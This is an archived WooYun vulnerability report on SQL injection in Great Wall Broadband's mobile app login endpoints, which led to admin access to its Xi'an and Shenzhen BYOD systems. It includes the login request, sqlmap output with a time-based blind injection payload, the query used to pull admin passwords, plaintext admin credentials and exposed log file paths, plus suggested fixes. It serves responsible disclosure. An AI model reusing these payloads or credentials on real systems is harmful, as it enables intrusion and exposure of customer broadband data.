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缺陷编号:wooyun-2016-0191969

漏洞标题:长城宽带连锁反应多处APP注入等导致BYOD系统登录(详细宽带信息)

相关厂商:长城宽带

漏洞作者: jianFen

提交时间:2016-04-03 14:30

修复时间:2016-05-21 14:00

公开时间:2016-05-21 14:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2016-04-03: 细节已通知厂商并且等待厂商处理中
2016-04-06: 厂商已经确认,细节仅向厂商公开
2016-04-16: 细节向核心白帽子及相关领域专家公开
2016-04-26: 细节向普通白帽子公开
2016-05-06: 细节向实习白帽子公开
2016-05-21: 细节向公众公开

简要描述:

如何进行有效连锁

详细说明:

西安长城宽带:
http://

mask 区域
******.*******

index.php/payrecord/
下载APP:

mask 区域
******.*******

download/cckd.apk

POST /xack/index.php/login/user_login HTTP/1.1
Content-Length: 105
Content-Type: text/plain; charset=UTF-8
Host:
mask 区域
*****.*******


Connection: Keep-Alive
{"localMac":"a4:3d:78:a0:3d:da","curr_version":"0","mac_addr":"1*","wk_password":"e","login_type":"wk_no"}


#1注入:

sqlmap identified the following injection point(s) with a total of 169 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: {"localMac":"a4:3d:78:a0:3d:da","curr_version":"0","mac_addr":"11' AND (SELECT * FROM (SELECT(SLEEP(5)))fhLF) AND 'Qxuc'='Qxuc","wk_password":"eeee","login_type":"wk_no"}
---
web application technology: PHP 5.3.3
back-end DBMS: MySQL 5.0.12
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: {"localMac":"a4:3d:78:a0:3d:da","curr_version":"0","mac_addr":"11' AND (SELECT * FROM (SELECT(SLEEP(5)))fhLF) AND 'Qxuc'='Qxuc","wk_password":"eeee","login_type":"wk_no"}
---
web application technology: PHP 5.3.3
back-end DBMS: MySQL >= 5.0.0
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: {"localMac":"a4:3d:78:a0:3d:da","curr_version":"0","mac_addr":"11' AND (SELECT * FROM (SELECT(SLEEP(5)))fhLF) AND 'Qxuc'='Qxuc","wk_password":"eeee","login_type":"wk_no"}
---
web application technology: PHP 5.3.3
back-end DBMS: MySQL >= 5.0.0
Database: xack
Table: t_user
--sql-shell
select password from t_user where user_name = 'admin'; #直接获取明文admin密码
admin/byod@xa


使用
admin/byod@xa直接登录
http://

mask 区域
******.*******


1.PNG


2.PNG


#2深圳长城宽带
http://

mask 区域
******.*******


app下载:
http://

mask 区域
******.*******

download/cckd.apk

POST /szck/index.php/login/user_login HTTP/1.1
Content-Length: 105
Content-Type: text/plain; charset=UTF-8
Host:
mask 区域
*****.*******


Connection: Keep-Alive
{"real_mac":"a4:3d:78:a0:3d:da","curr_version":"0","mac_addr":"1","wk_password":"d","login_type":"wk_no"}


select password from t_user where user_name = 'admin'; [1]:
[*] szbyodytsm


直接登录
admin/szbyodytsm
http://

mask 区域
******.*******


3.PNG


#3log.txt文件泄露
http://

mask 区域
*****.*******

/szck/log.txt
http://

mask 区域
*****.*******

/xack/log.txt
可搜出账号密码登录日志:

1.png

漏洞证明:

包含内容

5.PNG

修复方案:

1.BYOD系统直接连接BOSS系统 能直接影响订单所以要保护好
2.APP注入修复
3.目录log泄露
4.存在111111/123456等纯数字弱口令修复整改

版权声明:转载请注明来源 jianFen@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-04-06 13:58

厂商回复:

CNVD未直接复现所述情况,已由CNVD通过网站管理方公开联系渠道向其邮件通报,由其后续提供解决方案。

最新状态:

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